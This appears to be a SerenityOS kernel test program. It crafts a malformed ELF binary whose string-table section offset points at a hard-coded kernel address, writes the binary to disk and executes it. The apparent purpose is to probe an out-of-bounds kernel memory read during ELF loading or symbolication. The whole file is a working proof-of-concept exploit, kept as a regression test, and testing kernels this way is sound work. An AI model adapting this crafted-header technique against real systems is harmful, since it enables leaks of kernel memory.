Serenity Operating System
1#include <LibELF/exec_elf.h>
2#include <fcntl.h>
3#include <stdio.h>
4#include <string.h>
5#include <unistd.h>
6
7asm("haxcode:\n"
8 "1: jmp 1b\n"
9 "haxcode_end:\n");
10
11extern "C" void haxcode();
12extern "C" void haxcode_end();
13
14int main()
15{
16 char buffer[16384];
17
18 auto& header = *(Elf32_Ehdr*)buffer;
19 header.e_ident[EI_MAG0] = ELFMAG0;
20 header.e_ident[EI_MAG1] = ELFMAG1;
21 header.e_ident[EI_MAG2] = ELFMAG2;
22 header.e_ident[EI_MAG3] = ELFMAG3;
23 header.e_ident[EI_CLASS] = ELFCLASS32;
24 header.e_ident[EI_DATA] = ELFDATA2LSB;
25 header.e_ident[EI_VERSION] = EV_CURRENT;
26 header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
27 header.e_ident[EI_ABIVERSION] = 0;
28 header.e_type = ET_EXEC;
29 header.e_version = EV_CURRENT;
30 header.e_ehsize = sizeof(Elf32_Ehdr);
31 header.e_machine = EM_386;
32 header.e_shentsize = sizeof(Elf32_Shdr);
33
34 header.e_phnum = 1;
35 header.e_phoff = 52;
36 header.e_phentsize = sizeof(Elf32_Phdr);
37
38 auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
39 ph[0].p_vaddr = 0x20000000;
40 ph[0].p_type = PT_LOAD;
41 ph[0].p_filesz = sizeof(buffer);
42 ph[0].p_memsz = sizeof(buffer);
43 ph[0].p_flags = PF_R | PF_X;
44 ph[0].p_align = PAGE_SIZE;
45
46 header.e_shnum = 3;
47 header.e_shoff = 1024;
48
49 u32 secret_address = 0x00184658;
50
51 auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
52 sh[0].sh_type = SHT_SYMTAB;
53 sh[0].sh_offset = 2048;
54 sh[0].sh_entsize = sizeof(Elf32_Sym);
55 sh[0].sh_size = 2 * sizeof(Elf32_Sym);
56
57 sh[1].sh_type = SHT_STRTAB;
58 sh[1].sh_offset = secret_address - 0x01001000;
59 sh[1].sh_entsize = 0;
60 sh[1].sh_size = 1024;
61
62 sh[2].sh_type = SHT_STRTAB;
63 sh[2].sh_offset = 4096;
64 sh[2].sh_entsize = 0;
65 sh[2].sh_size = 1024;
66 header.e_shstrndx = 2;
67
68 auto* sym = (Elf32_Sym*)(&buffer[2048]);
69 sym[0].st_value = 0x20002000;
70 sym[0].st_name = 0;
71
72 sym[1].st_value = 0x30000000;
73 sym[1].st_name = 0;
74
75 auto* strtab = (char*)&buffer[3072];
76 strcpy(strtab, "sneaky!");
77
78 auto* shstrtab = (char*)&buffer[4096];
79 strcpy(shstrtab, ".strtab");
80
81 auto* code = &buffer[8192];
82 size_t haxcode_size = (u32)haxcode_end - (u32)haxcode;
83 printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
84 memcpy(code, (void*)haxcode, haxcode_size);
85
86 header.e_entry = 0x20000000 + 8192;
87
88 int fd = open("x", O_RDWR | O_CREAT, 0777);
89 if (fd < 0) {
90 perror("open");
91 return 1;
92 }
93
94 int nwritten = write(fd, buffer, sizeof(buffer));
95 if (nwritten < 0) {
96 perror("write");
97 return 1;
98 }
99
100 if (execl("/home/anon/x", "x", nullptr) < 0) {
101 perror("execl");
102 return 1;
103 }
104
105 return 0;
106}